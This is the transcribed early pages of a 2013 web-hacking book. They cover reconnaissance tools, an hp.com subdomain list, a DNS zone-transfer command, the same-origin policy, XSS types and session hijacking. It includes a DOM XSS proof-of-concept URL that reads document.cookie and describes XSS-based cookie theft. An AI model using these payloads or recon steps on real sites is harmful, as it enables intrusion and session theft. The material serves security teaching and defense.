Top Banner
Advanced Web Application Hacking & Exploitation . Defensia 2013 Rafel Ivgi This book introduces the most advanced web hacking techniques. Covering both the common attack methods and best practice base d
227

Advanced web application hacking and exploitation

Apr 11, 2017

Download

Software

Rafel Ivgi
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Advanced web application hacking and exploitation

Advanced Web Application Hacking & Exploitation

.

D e f e n s i a

2 0 1 3

Rafel Ivgi

This book introduces the most advanced web hacking

techniques. Covering both the common attack

methods and best practice base

d

defense methods.

Page 2: Advanced web application hacking and exploitation

1 | P a g e

TABLE OF CONTENTS

Advanced Hacking Techniques ........................................................................................................ 7

Reconnaissance ........................................................................................................................... 7

Detecting website Statistics & Reputation .............................................................................. 7

Collect Contact information for Email attacks & Social Engineering ...................................... 8

Detecting website/company IP Blocks, Net-name, ISP/Autonomous System ........................ 8

Detecting Sub Domains ......................................................................................................... 12

Detecting Web Server Type & Version .................................................................................. 15

Digging into the Past.............................................................................................................. 18

Detecting Virtual Hosts .......................................................................................................... 19

Detecting Hidden Files & Directories .................................................................................... 23

Detecting CGI Platforms ........................................................................................................ 26

Protecting against Google Hacking ........................................................................................ 27

The "Same Origin" security policy ............................................................................................. 28

XSS – Cross-Site-Scripting .......................................................................................................... 32

Introduction ........................................................................................................................... 32

Reflected XSS (Type I) ............................................................................................................ 32

Permanent (Stored) XSS ........................................................................................................ 33

DOM XSS ................................................................................................................................ 33

System Functionality Automation ............................................................................................. 35

XSS-Shell ................................................................................................................................ 35

Session Hi-Jacking ...................................................................................................................... 35

XSS Attack Vector .................................................................................................................. 35

The Man-In-The-Middle Attack Vector.................................................................................. 36

Common Web Application Vulnerabilities and Pitfalls ............................................................. 42

Session ID in URL .................................................................................................................. 42

Exposing Full Server Version Information ............................................................................. 42

Bypassing Filters .................................................................................................................... 43

Blind SQL Injection or Imperva Error? ................................................................................... 43

Page 3: Advanced web application hacking and exploitation

2 | P a g e

Scary doesn’t mean safe: ....................................................................................................... 46

Connecting User Approachable Files to Web Direcrtory....................................................... 65

Sharing Encrypted Files ......................................................................................................... 67

Exploiting the client ............................................................................................................... 68

Browser, Plugins & OS Exploits .............................................................................................. 68

XSS Worms ............................................................................................................................. 68

The Future of SPAM ............................................................................................................... 69

D.o.S attacks .......................................................................................................................... 70

Information Gathering ........................................................................................................... 71

Automated exploiting bots .................................................................................................... 71

High Level Distributed Denial of Service ............................................................................... 72

Dynamic Generation of Obfuscated JavaScript ..................................................................... 76

Malware Script Detector ....................................................................................................... 76

Phishing ..................................................................................................................................... 77

Frameset Based Phishing ....................................................................................................... 77

Cross Frame Phishing............................................................................................................. 77

Preset Session Phishing (Combined With a later Session Hi-Jacking) ................................... 78

XSS Based Phishing ................................................................................................................ 80

XSS AJAX Phishing - "Frameless Phishing" ............................................................................. 80

HTML5 ....................................................................................................................................... 81

Cross Domain/Origin Requests (CDR, COR) ........................................................................... 81

Web Messaging - Cross Frame/Window Messaging ............................................................. 88

Cookie/Repository User Tracking .......................................................................................... 89

User TraceBack Techniques ................................................................................................... 91

MAC ADDRESS Detection Of All Network Interfaces via JAVA .............................................. 92

XSS + Browser Location Services ........................................................................................... 93

Web Application Firewalls ......................................................................................................... 96

Detecting Web Application Firewalls .................................................................................... 96

Bypassing Web Application Firewalls .................................................................................... 99

HTTP Parameter Pollution (HPP) ........................................................................................... 99

Examples: ............................................................................................................................. 100

Page 4: Advanced web application hacking and exploitation

3 | P a g e

Circumvention of default WAF filtering mechanisms ......................................................... 102

CSRF/XSRF – Cross Site Request Forgery ................................................................................. 111

GET Based CSRF ................................................................................................................... 111

Post Based CSRF .................................................................................................................. 113

Advanced CSRF Attacks with AJAX ...................................................................................... 114

Tab-Nabbing ............................................................................................................................ 115

ClickJacking .............................................................................................................................. 115

Prevention ........................................................................................................................... 116

Server-side needing client support ..................................................................................... 119

Interface Spoofing ................................................................................................................... 119

Another Example, JAD files in BlackBerry ............................................................................ 122

Advanced Directory Traversal Attacks .................................................................................... 125

Canonicalization .................................................................................................................. 125

Designing a Brute-Force Resistant Application ....................................................................... 127

Hacking Web Servers ................................................................................................................... 128

Components of a generic web application system ................................................................. 128

URL mappings to the web application system ........................................................................ 129

Flowchart for a one-way web hack ......................................................................................... 130

Finding the entry point ............................................................................................................ 131

Exploiting poorly validated input parameters ..................................................................... 132

Exploiting SQL injection ....................................................................................................... 133

Invoking the command interpreter ..................................................................................... 133

Posting commands to CMD.EXE .......................................................................................... 133

Posting commands to /bin/sh ............................................................................................. 134

Automating the POST process ............................................................................................. 136

Output of post_cmd.pl ........................................................................................................ 136

Web based command prompt............................................................................................. 138

Perl - perl_shell.cgi .............................................................................................................. 139

ASP - cmdasp.asp ................................................................................................................. 140

PHP - sys.php ....................................................................................................................... 142

JSP - cmdexec.jsp ................................................................................................................. 142

Page 5: Advanced web application hacking and exploitation

4 | P a g e

Installing the Web based command prompt ....................................................................... 143

Re-creating arbitrary binary files ......................................................................................... 144

File uploader ............................................................................................................................ 145

ASP - upload.asp and upload.inc ......................................................................................... 145

Perl - upload.cgi ................................................................................................................... 146

PHP - upload.php ................................................................................................................. 147

One-Way Privilege Escalation .................................................................................................. 147

Secure Website Architecture....................................................................................................... 152

Multi-tier architecture ............................................................................................................. 152

Secure Domains and Subdomain separation .......................................................................... 154

Creating Cookies .................................................................................................................. 154

Managing Multiple Cookie for Multiple Authentication/Permission Levels ........................... 155

Working Securely with User HTML content ............................................................................ 155

Examples: ............................................................................................................................. 155

Securing IIS 7/7.5 + Microsoft SQL Server 2008 ...................................................................... 156

IIS Dynamic IP Restrictions Module: The mod_evasive of IIS .............................................. 156

Hardening IIS SSL with IISCrypto – Disabling Weak Ciphers ................................................ 157

Hardening IIS 7.5 on Windows 2008 Server R2 SP1 ............................................................ 158

Securing Apache ...................................................................................................................... 162

Apache Hardening ............................................................................................................... 162

Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 163

Mod_Security – An OpenSource Web Application Firewall ................................................ 164

Disabling Dangerous HTTP Verbs ........................................................................................ 166

Disable TRACE Method ........................................................................................................ 167

Rewrite Against TRACE/TRACK ............................................................................................ 167

Rewrite Get, Head & Post as a Whitelist ............................................................................. 167

Define Server Hostname ......................................................................................................... 167

Mail Username root exposes Linux Usage .............................................................................. 167

Remove Script Aliases for unused directories (such as cgi-bin…) ........................................... 167

Tomcat Hardening ................................................................................................................... 171

Tomcat: Manager Application ............................................................................................. 171

Page 6: Advanced web application hacking and exploitation

5 | P a g e

Tomcat: Realms ................................................................................................................... 171

Tomcat: Realms Details ....................................................................................................... 171

Tomcat: Realms Issues & History ........................................................................................ 172

Tomcat: System properties ................................................................................................. 172

Tomcat: Miscellaneous ........................................................................................................ 172

Tomcat: Passwords .............................................................................................................. 172

Webapps: Authentication: .................................................................................................. 173

Webapps: SSL: ..................................................................................................................... 173

Webapps: context.xml ......................................................................................................... 173

Webapps: Miscellaneous ..................................................................................................... 174

Policy & Process ................................................................................................................... 174

Tomcat Session ID default name modification: ...................................................................... 174

Tomcat session HTTPOnly flag: ............................................................................................... 174

Tomcat – Change Server Banner: ............................................................................................ 175

Tomcat – Change Tomcat Port to Listen Only Internally: ....................................................... 175

Tomcat – Disable The HTTP Verb Trace: ................................................................................. 175

Tomcat – Define an index page: .............................................................................................. 176

Tomcat – One single custom error page for all errors: ........................................................... 176

In: ......................................................................................................................................... 177

Change/Add the following: .................................................................................................. 177

Add generalerror.jsp with: .................................................................................................. 178

Tomcat – Remove Tomcat Example Scripts: ....................................................................... 179

Tomcat – Remove Tomcat Manager application: ............................................................... 180

SELinux – Optional Hardening: ................................................................................................ 180

SELinux Apache Hardening .................................................................................................. 180

SELinux for other services (Experts Only) ................................................................................ 180

Enable Hardened HTTP ........................................................................................................ 180

Learning from your Log files ................................................................................................ 181

Virtual Machine Platforms....................................................................................................... 184

Java Security ........................................................................................................................ 184

Flash Security ....................................................................................................................... 188

Page 7: Advanced web application hacking and exploitation

6 | P a g e

Flash 9 AS3 TCP-Portprober ................................................................................................ 210

DotNet Applet Security ........................................................................................................ 220

Page 8: Advanced web application hacking and exploitation

7 | P a g e

Advanced Hacking Techniques

Reconnaissance

Detecting website Statistics & Reputation

Page 9: Advanced web application hacking and exploitation

8 | P a g e

Collect Contact information for Email attacks & Social Engineering

Detecting website/company IP Blocks, Net-name, ISP/Autonomous System

Page 10: Advanced web application hacking and exploitation

9 | P a g e

Detecting all the different IPs of the host

Page 11: Advanced web application hacking and exploitation

10 | P a g e

Detecting if it appears in Blacklists

Page 12: Advanced web application hacking and exploitation

11 | P a g e

Page 13: Advanced web application hacking and exploitation

12 | P a g e

Detecting Sub Domains

Using Google

Page 14: Advanced web application hacking and exploitation

13 | P a g e

Using TXDNS - dictionary

Using TXDNS – Brute Force

Page 15: Advanced web application hacking and exploitation

14 | P a g e

Using Robtex

Example subdomains found on hp.com:

*extranet.hp.com, address.hp.com, am1.hp.com, am2.hp.com, am3.hp.com, americas.hp.com,

ap1.hp.com, are.hp.com, athp.hp.com, atl-delegate.hp.com, atl-ima-vip.hp.com, atl-smtp-

vip.hp.com, atl.hp.com, atlanta.hp.com, atlrel6.hp.com, atlrel7.hp.com, atlrel8.hp.com,

atlrel9.hp.com, atlsmtp.hp.com, atlsmtpx.hp.com, aus.hp.com, austin.hp.com, aut.hp.com,

bbnrel4.hp.com, bbnrelay.hp.com, bbnsmtp.hp.com, bbnsmtpx.hp.com, boi.hp.com,

brarel4.hp.com, brarelay.hp.com, brussels.hp.com, can.hp.com, cce.hp.com, che.hp.com,

china.hp.com, cns.hp.com, core.hp.com, corp.hp.com, cup-delegate.hp.com, cup.hp.com,

cv.hp.com, cze.hp.com, den.hp.com, designjet.hp.com, deu.hp.com, dmo.hp.com,

emea.hp.com, esr.hp.com, eu1.hp.com, eu2.hp.com, eu3.hp.com, europe.hp.com,

external.hp.com, extranet.hp.com, extweb.hp.com, fc.hp.com, fin.hp.com, foryou.hp.com,

france.hp.com, ftcrel3.hp.com, ftp.hp.com, gbr.hp.com, gr.hp.com, gre.hp.com,

grenoble.hp.com, grerel4.hp.com, grerelay.hp.com, gresmtp.hp.com, gresmtpx.hp.com,

gsr.hp.com, guad.hp.com, hkg.hp.com, hou-delegate.hp.com, housmtpx.hp.com,

houston.hp.com, hpl.hp.com, hplabs.hp.com, image.hp.com, ind.hp.com, ipv6.hp.com,

isr.hp.com, ita.hp.com, itc.hp.com, jpn.hp.com, kaz.hp.com, korea.hp.com, letter.hp.com,

linux.hp.com, ltu.hp.com, mail.hp.com, mailbox.hp.com, mailhub.hp.com, mailman.hp.com,

mailroom.hp.com, mailtrck.hp.com, msr.hp.com, nado.hp.com, ns1.hp.com, ns2.hp.com,

ns3.hp.com, ns4.hp.com, ns5.hp.com, ns6.hp.com, nsa.hp.com, nsb.hp.com, nsr.hp.com,

omc.hp.com, pal-delegate.hp.com, pal-smtp-vip.hp.com, pal.hp.com, palrel10.hp.com,

palrel11.hp.com, palrel12.hp.com, palrel13.hp.com, palrel6.hp.com, palsmtp.hp.com,

palsmtpx.hp.com, partsurferdd.hp.com, pol.hp.com, portal.hp.com, portugal.hp.com,

ptp.hp.com, q-tam.hp.com, ro.hp.com, rom.hp.com, rose.hp.com, scg.hp.com, sdcsmtp.hp.com,

Page 16: Advanced web application hacking and exploitation

15 | P a g e

sdcsmtpx.hp.com, serviceportal.hp.com, sgp.hp.com, shopping.hp.com, smtp.hp.com,

smtp1.hp.com, smtpx.hp.com, ssr.hp.com, svk.hp.com, sweden.hp.com, sync.hp.com,

tay.hp.com, testdrive.hp.com, thebook.hp.com, trce.hp.com, uksr.hp.com, usa.hp.com,

ussmtp.hp.com, webmail.hp.com, welcome.hp.com, www.hp.com, www1.hp.com,

www2.hp.com, www3.hp.com, www4.hp.com, www7.hp.com, zipcode.hp.com

Detecting Web Server Type & Version

httprint is a web server fingerprinting tool. It relies on web server characteristics to

accurately identify web servers, despite the fact that they may have been obfuscated

by changing the server banner strings, or by plug-ins such as mod_security or

servermask. httprint can also be used to detect web enabled devices which do not

have a server banner string, such as wireless access points, routers, switches, cable

modems, etc. httprint uses text signature strings and it is very easy to add signatures to the signature database.

Features

Identification of web servers despite the banner string and any other

obfuscation. httprint can successfully identify the underlying web servers

when their headers are mangled by either patching the binary, by modules

such as mod_security.c or by commercial products such as ServerMask.

Click here to see an example of how httprint detects disguised servers.

Inventorying of web enabled devices such as printers, routers, switches,

wireless access points, etc. Click on the sample HTML report.

Customizable web server signature database. To add new signatures, simply

cut and paste the httprint output against unknown servers into the signatures

text file.

Confidence Ratings. httprint now picks the best matches based on confidence

ratings, derived using a fuzzy logic technique, instead of going by the highest

weight. More details on the significance of confidence ratings can be found in

section 8.4 of the Introduction to HTTP fingerprinting paper.

httprint v301 win32 GUI (click image to enlarge)

Page 17: Advanced web application hacking and exploitation

16 | P a g e

sample HTML report (click on image to enlarge)

Page 18: Advanced web application hacking and exploitation

17 | P a g e

httprint detecting disguised web servers (click on image for details)

Page 19: Advanced web application hacking and exploitation

18 | P a g e

Digging into the Past

Page 20: Advanced web application hacking and exploitation

19 | P a g e

Detecting Virtual Hosts

Using Hostmap

Hostmap is to enumerate all the virtual hosts and DNS names of an

IP address, and do this in the fastest and detailed way.

To achieve this hostmap uses a lot of techniques, some never used by any other tool, combined

with development technologies to get the best performances.

Features

• DNS names and virtual host enumeration

• Multiple discovery techniques

• Results correlation, aggregation and normalization

• Multi thread and event based engine

• Platform independent: hostmap an run on GNU/Linux, Microsoft Windows, Apple OSX

and in any system where Ruby works.

Page 21: Advanced web application hacking and exploitation

20 | P a g e

Techniques

To enumerate all the alias of a target machine hostmap uses a lot of techniques

Based on protocols, exposed services, target weakness, target vulnerabilities, brute forcing

techniques, public databases and search engines that an reveal a target's alias.

The data are fetched at run time from this data sources using multi thread engine to speed up

the fetching phase. All data fetched being aggregated, normalized, correlated and the results are

Checked at run time to avoid false positives. The hostmap engine is based on the knowledge of

event; each enumeration action can get results, based on type of enumeration action and the

type of the results hostmap dynamically choose the next action to take and the next

enumeration check to launch. Hostmap uses an adaptive engine written to get much more

results possible.

The techniques used by hostmap are the following.

DNS enumeration techniques

The following enumeration techniques are based on the DNS protocol and are:

• Reverse DNS lookup Performs a PTR request to get the host name from IP address.

• Name servers record lookup Get the authoritative name server for each domain enumerated

on the target host.

• Mail exchange record lookup Get the MX records for each domain enumerated on the target

host.

• DNS AXFR zone transfer

The name server that serves the target machine's domain zone can be prone to a zone transfer

vulnerability. This allow an attacker to perform a AXFR zone transfer and get a dump of the

complete DNS zone, so all records, served by this name server. The AXFR vulnerability can

already simply be checked with dig utility. For example if we want to check the DNS server

1.2.3.4, authoritative name server for domain foo.com.

We can do it with the following syntax and if you get an output like that the DNS server is

vulnerable.

$ dig -t axfr 1.2.3.4 foo.com

; <<>> DiG 9.6.1-P2 <<>> -t axfr 1.2.3.4 foo.com

; (1 server found)

;; global options: + cmd

Page 22: Advanced web application hacking and exploitation

21 | P a g e

foo.com. 38400 IN SOA ns1.foo.com. admin.foo.com. 2006081401 28800 3600 604800

38400 foo.com. 38400 IN NS 127.0.0.1.foo.com.

foo.com. 38400 IN MX 10 mta.foo.com.

mta.foo.com. 38400 IN A 192.168.0.3

ns1.foo.com. 38400 IN A 127.0.0.1

www.foo.com. 38400 IN A 192.168.0.2

foo.com. 38400 IN SOA ns1.foo.com. admin.foo.com. 2006081401 28800 3600 604800

38400

;; Query time: 0 mse

;; SERVER: 1.2.3.4#53(1.2.3.4)

;; WHEN: Wed De

23 15:27:24 2009

;; XFR size: 7 re

cords (messages 1, bytes 207)

• Host name brute-forcing

Using a brute-forcing tries to guess can host name on the enumerated domain that resolve as

the target IP address. For example if the do-main foo.com has been enumerated the host

name brute-forcer will check for third level names like: www.foo.com, www1.foo.com,

db.foo.com and whatever word listed in the dictionary used.

• DNS TLD expansion

Use a brute-forcing of top level domain part for already enumerated domain. For example, if

the domain foo.com has been enumerated the TLD expansion or TLD brute-forcing plugin will

check for different TLD for the same domain like: foo.org, foo.net, foo.it and whatever TLD

listed in the TLD dictionary.

SSL/TLS Protocol enumeration techniques

The following enumeration techniques are based on the SSL/TLS protocol and are:

• X.509 Certificate Parsing Sometimes the target machine can publish some HTTPS

services.

Page 23: Advanced web application hacking and exploitation

22 | P a g e

A connection is tried to the common HTTP and HTTPS service ports and is tried to

negotiate an SSL/TLS connection, if the remote server supply a X.509 certificate the host

name is taken from the issuer and subject

Common Name (CN) eld and from alternate subject extension eld.

4.2.3 Passive web enumeration techniques

The following enumeration techniques are based on third party web sites and public databases.

• Search engines

The following search engines are used:

Microsoft Bing (with and without search API): http://search.msn.com

It's suggested to use this with API key which improves the amount of results fetched and the

plugin speed.

• GPG/PGP key databases

The following public databases are used:

MIT GPG key server: http://pgp.mit.edu:11371

• DNS/WHOIS databases

Public WHOIS information database, like RIPE, or DNS snapshot database are used to passively

enumerate host name and track his history.

The following public databases are used:

DNShistory: http://dnshistory.org

Domainsdb: http://www.domainsdb.net/

Fbk.de: http://www.bfk.de/

Gigablast: http://www.gigablast.com

Netcraft: http://searhdns.netcraft.com

Robtex: http://www.robtex.com

Tomdns: http://www.tomdns.net

Web-max: http://www.web-max.ca

Usage You can use hostmap from command line interface with following:

ruby hostmap.rb OPTIONS -t TARGET

Page 24: Advanced web application hacking and exploitation

23 | P a g e

Where TARGET is the IP address of the host against you want a host discovery and OPTIONS is a

list of hostmap's options.

Detecting Hidden Files & Directories

Dir Buster – Remote Hidden File and Directory Discovery Tool

Features

DirBuster provides the following features:

Multi-threaded has been recorded at over 6000 requests/sec

Works over both http and https

Scan for both directory and files

Will recursively scan deeper into directories it finds

Able to perform a list based or pure brute force scan

DirBuster can be started on any directory

Custom HTTP headers can be added

Proxy support

Auto switching between HEAD and GET requests

Content analysis mode when failed attempts come back as 200

Custom file extensions can be used

Performance can be adjusted while the program in running

Supports Basic, Digest and NTLM auth

Command line * GUI interface

DirBuster is a multi-threaded java application designed to brute force directories and files

names on web/application servers. Often is the case now of what looks like a web server in a

state of default installation is actually not, and have pages and applications hidden within.

DirBuster attempts to find these.

However tools of this nature are often as only good as the directory and file list they come with.

A different approach was taken to generating this. The list was generated from scratch, by

crawling the Internet and collecting the directory and files that are actually used by developers!

DirBuster comes a total of 9 different lists (Further information can be found below), this makes

DirBuster extremely effective at finding those hidden files and directories. And if that was not

enough DirBuster also has the option to perform a pure brute force, which leaves the hidden

directories and files nowhere to hide! If you have the time ;)

The DirBuster Lists

DirBuster comes with a set of unique directory and files lists, these have been generated based

on the file and directory names that are actually used by developers on internet sites. The order

Page 25: Advanced web application hacking and exploitation

24 | P a g e

of the lists is based on the frequency of the item found. Therefore the most common items

appear at the top. These lists are what make DirBuster.

NOTE: It will come as no surprise to you all that the internet is full of porn, thus it not surprising

that the spider used to generate the lists visited a few along the way. Thus there are explicit

words contained within the lists. My stand point on this is simple, this tool was designed to use

as part of legitimate security testing, and if there are directories/files based on explicit words,

clients would want to know!!

The following lists are included with DirBuster, or as a separate download:

directory-list-2.3-small.txt - (87650 words) - Directories/files that where found on at least 3

different hosts

directory-list-2.3-medium.txt - (220546 words) - Directories/files that where found on at least 2

different hosts

directory-list-2.3-big.txt - (1273819 words) - All directories/files that where found

directory-list-lowercase-2.3-small.txt - (81629 words) - Case insensitive version of directory-list-

2.3-small.txt

directory-list-lowercase-2.3-medium.txt - (207629 words) - Case insensitive version of directory-

list-2.3-medium.txt

directory-list-lowercase-2.3-big.txt - (1185240 words) - Case insensitive version of directory-list-

2.3-big.txt

directory-list-1.0.txt - (141694 words) - Original unordered list

apache-user-enum-1.0.txt - (8916 usernames) - Used for guessing system users on apache with

the userdir module enabled, based on a username list I had lying around (unordered)

apache-user-enum-2.0.txt - (10341 usernames) - Used for guessing system users on apache with

the userdir module enabled, based on ~XXXXX found during list generation (Ordered)

Page 26: Advanced web application hacking and exploitation

25 | P a g e

Page 27: Advanced web application hacking and exploitation

26 | P a g e

Detecting CGI Platforms

While researching a website against vulnerabilities, one of the first steps is to write a script to

remotely detect the mapped CGI-extensions PER DISCOVERED FOLDER.

The most common CGI types are:

1. PHP

2. ASP

3. ASPX

4. JSP

5. CFM

6. PY

7. RB

Detecting the used CGI platforms is critical in order to plan the right attack against the server.

Page 28: Advanced web application hacking and exploitation

27 | P a g e

Protecting against Google Hacking

1. Keep your sensitive data off the web!

Even if you think you’re only putting your data on a web site temporarily, there’s a

good chance that you’ll either forget about it, or that a web crawler might find it.

Consider more secure ways of sharing sensitive data such as SSH/SCP or

encrypted email.

2. Use meta headers at non-public pages

Valid meta robots content values:

Googlebot interprets the following robots meta tag values:

NOINDEX - prevents the page from being included in the index.

NOFOLLOW - prevents Googlebot from following any links on the page. (Note

that this is different from the link-level NOFOLLOW attribute, which prevents

Googlebot from following an individual link.)

NOARCHIVE - prevents a cached copy of this page from being available in the

search results.

NOSNIPPET - prevents a description from appearing below the page in the

search results, as well as prevents caching of the page.

NOODP - blocks the Open Directory Project description of the page from being

used in the description that appears below the page in the search results.

NONE - equivalent to "NOINDEX, NOFOLLOW".

<META NAME="ROBOTS" CONTENT="NONE">

3. Googledork!

• Use the techniques outlined in this paper to check your own site for

sensitive information or vulnerable files.

• Use gooscan from http://johnny.ihackstuff.com) to scan your site for bad

stuff, but first get advance express permission from Google! Without

advance express permission, Google could come after you for violating

their terms of service. The author is currently not aware of the exact

implications of such a violation. But why anger the “Goo-Gods”?!?

• Check the official googledorks website (http://johnny.ihackstuff.com) on a

regular basis to keep up on the latest tricks and techniques.

4. Consider removing your private sites from Google’s index.

The Google webmaster FAQ located at http://www.google.com/webmasters/

provides invaluable information about ways to properly protect and/or expose

Page 29: Advanced web application hacking and exploitation

28 | P a g e

your site to Google. From that page:

“Please have the webmaster for the page in question contact us with proof that

he/she is indeed the webmaster. This proof must be in the form of a root level

page on the site in question, requesting removal from Google. Once we receive

the URL that corresponds with this root level page, we will remove the offending

page from our index.”

In some cases, you may want to rome individual pages or snippets from Google’s

index. This is also a straightforward process which can be accomplished by

following the steps outlined at http://www.google.com/remove.html.

5. Use a robots.txt file.

Web crawlers are supposed to follow the robots exclusion standard found at

http://www.robotstxt.org/wc/norobots.html. This standard outlines the procedure

for “politely requesting” that web crawlers ignore all or part of your website. I

must note that hackers may not have any such scruples, as this file is certainly a

suggestion. The major search engine’s crawlers honor this file and it’s contents.

For examples and suggestions for using a robots.txt file, see the above URL on

robotstxt.org.

The "Same Origin" security policy

The Document.domain property

Can’t get but can set

The document.domain exception

Example

IE exceptions to Same Origin policy

Summary

The “Same Origin” policy limits the access of one window to another.

The reason behind that is security. If you have blabla.com in one window and gmail.com in

another one, then you’d not want a script from blabla.com to access or modify your mail or run

actions in context of gmail on your behalf.

The essence of the Same Origin policy can be formulated as: windows can work in contexts of

each other only if they are from same protocol://domain:port, or, shortly, from same origin.

These are from same origin:

http://site.com

Page 30: Advanced web application hacking and exploitation

29 | P a g e

http://site.com/

http://site.com/my/page.html

These come from another origin:

http://www.site.com (another domain)

http://site.org (another domain)

https://site.com (another protocol)

http://site.com:8080 (another port)

Demo

Let’s see what happens if we try to access a forbidden window:

<iframe src="http://google.com" name="google" style="height:100px"></iframe>

<script>

document.getElementsByName('google')[0].onload = function() {

try {

alert(frames[0].location);

} catch(e) {

alert("Error: "+e)

}

</script>

Run the example above. It gives error, because it is not allowed to get a property from the

window from another domain.

Can’t get but can set

The important fact is that it is not allowed to read from another origin, but some properties

are writable. The most notable one is location.

From the example above we’ve seen that browser protects location of the window from

different origin from being red. But we can set it:

<iframe src="http://google.com" name="google" style="height:100px"></iframe>

<script>

Page 31: Advanced web application hacking and exploitation

30 | P a g e

document.getElementsByName('google')[0].onload = function() {

frames[0].location = 'http://wikipedia.org'

alert('Changed to wikipedia')

}

</script>

The example above, when run, will change the location.

Note, changing location.href will not work, because there is no read access

to location properties. Only direct set works.

The document.domain exception

Another important exception for the Same Origin policy is third-level domains.

Say, we’ve got a window at a http://site.com and two iframes: the first comes from

http://john.site.com, and another one comes from http://peter.site.com.

All of them can assign document.domain property to site.com, and then the same origin

restrictions will be removed.

Note two important features:

The new document.domain value must be within the same second level domain.

You can change document.domain='site.com' on the page originating from my.site.com, but

can’t do it if the page is at another.org.

The document.domain should be assigned on all windows, including the main one. Even if the

domain is already site.com, you still need to assign it: document.domain=document.domain will

do.

Example

The example below loads two frames from subdomains:

<iframe src="http://a.defensia.co.il/window/a.html" name="a"style="height:40px"></iframe>

<iframe src="http://b.defensia.co.il/window/b.html" name="b"style="height:40px"></iframe>

<script>

Page 32: Advanced web application hacking and exploitation

31 | P a g e

function work() {

alert('work at ' + location.host)

}

document.domain = document.domain

</script>

By clicking on buttons, you can call methods from the parent or another frame.

Both iframes assign document.domain=’defensia.co.il'. That’s why they can call each other.

<script>

function work() {

alert('work at ' + location.host)

}

document.domain = “hp.com”;

</script>

<input type="button" value="parent.work()" onclick="parent.work()">

<input type="button" value="parent.frames.b.work()"onclick="parent.frames.b.work()">

So, the document.domain allows different 3rd level domains to communicate with each other

and with their common 2nd level domain.

IE exceptions to Same Origin policy

Internet Explorer poses two major exceptions.

The first one are so called “Trust Zones”. If both domains are in highly trusted zone, e.g both are

corporate domains, then the Same Origin limitation is lifted completely.

The second one is port. Internet Explorer doesn’t include port into Same Origin components,

hence the http://site.com and http://site.com:8080 are considered from the same origin and no

restrictions are applied.

The exceptions described above are non-standard and not supported in any of other major

browsers.

Page 33: Advanced web application hacking and exploitation

32 | P a g e

Summary

The Same Origin policy allows one window to access properties/functions of another one only if

they come from same protocol, same port, same domain.

XSS – Cross-Site-Scripting

Introduction

• XSS is a vulnerability which exists on the server side, but poses a risk only for the

server’s clients

• The “attack” occurs when a web server replies the user with the exact raw data received

from the user at a certain point in time.

Reflected XSS (Type I)

• In order to exploit the vulnerability:

– the attacker supplies the user with a link

– once clicked, the user sends data to the server

– the server replies it

– the browser executes it

• The attacker may send malicious JS code that will execute in the context of the given

site.

• This code is able to:

– Exploit the browser

– Steal cookies

– Perform GET and POST requests using the user`s credentials

– Perform content spoofing attacks

– Deface the site

Page 34: Advanced web application hacking and exploitation

33 | P a g e

Permanent (Stored) XSS

• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this attack there is no need to navigate the user to a specially crafted URL.

• This attack requires the attacker to find a permanent place within the application that can store his code, for example:

blog`s comments

user`s profile settings

Etc…

DOM XSS

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack

payload is executed as a result of modifying the DOM “environment” in the victim’s browser

used by the original client side script, so that the client side code runs in an “unexpected”

manner. That is, the page itself (the HTTP response that is) does not change, but the client side

code contained in the page executes differently due to the malicious modifications that have

occurred in the DOM environment.

This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed

in the response page (due to a server side flaw).

Page 35: Advanced web application hacking and exploitation

34 | P a g e

Example

Suppose the following code is used to create a form to let the user choose his/her preferred

language. A default language is also provided in the query string, as the parameter “default”.

Select your language:

<select><script>

document.write("<OPTION

value=1>"+document.location.href.substring(document.location.href.index

Of("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

The page is invoked with a URL such as:

http://www.some.site/page.html?default=French

A DOM Based XSS attack against this page can be accomplished by sending the following URL to

a victim:

http://www.some.site/page.html?default=<script>alert(document.cookie)</

script>

Testing Tools and Techniques

1. The DOMinator Tool - A FireFox based plugin that helps testers identify and verify

DOM based XSS flaws

See: http://code.google.com/p/dominator/

Page 36: Advanced web application hacking and exploitation

35 | P a g e

2. The DOM XSS Wiki - The start of a Knowledgebase for defining sources of attacker

controlled inputs and sinks which could potentially introduce DOM Based XSS issues.

Its very immature as of 11/17/2011. Please contribute to this wiki if you know of

more dangerous sinks and/or safe alternatives!!

See: http://code.google.com/p/domxsswiki/

3. DOM Snitch - An experimental Chrome extension that enables developers and

testers to identify insecure practices commonly found in client-side code. From

Google.

See: http://code.google.com/p/domsnitch/

System Functionality Automation

XSS-Shell

• XSS-Shell is an attack platform designed to be launched from an XSS vector.

• The usage of this platform is as following:

1. The attacker sends the user a link referring to a vulnerable site 2. Upon clicking this link the client`s browser runs the JS code of the XSS-Shell

platform 3. This code hijacks the browser and starts receiving commands from the server 4. The attacker can send new commands that will be evaluated in the client`s

browser as long as this attack is active 5. The client can stop the attack in two ways:

a. Manually navigate to the different site using the navigation bar b. Closing the browser completely

Session Hi-Jacking

XSS Attack Vector

The attack flow:

1. The attacker finds an XSS vulnerability in the server/website/web application

2. The attacker creates an encoded URL attack string to decrease suspicion level

3. The attacker spreads the link to a targeted victim or to a distribution list

4. The victim logs into the web application, clicks the link

5. The attacker’s code is executed under the victims credentials and sends the unique

session identifier to the attacker

Page 37: Advanced web application hacking and exploitation

36 | P a g e

6. The attacker plants the unique session identifier in his browser and is now connected to

the system as the victim

The Man-In-The-Middle Attack Vector

• Taking over an active session to a computer system

• In order to attack the system, the attacker must know the protocol/method being used

to handle the active sessions with the system

• In order to attack the system, the attacker must achieve the user’s session identifier

(session id, session hash, token, IP)

• The most common use of Session Hi-jacking revolves around textual protocols such as

the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION

parameter located HTTP Cookie Header aka “The Session Cookie”

• Most common scenarios of Session Hi-Jacking is done with combination with:

• XSS - Where the session cookie is read by an attacker’s JavaScript code

• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the

attacker’s machine, which becomes the victim’s gateway

Page 38: Advanced web application hacking and exploitation

37 | P a g e

Page 39: Advanced web application hacking and exploitation

38 | P a g e

Page 40: Advanced web application hacking and exploitation

39 | P a g e

Page 41: Advanced web application hacking and exploitation

40 | P a g e

Page 42: Advanced web application hacking and exploitation
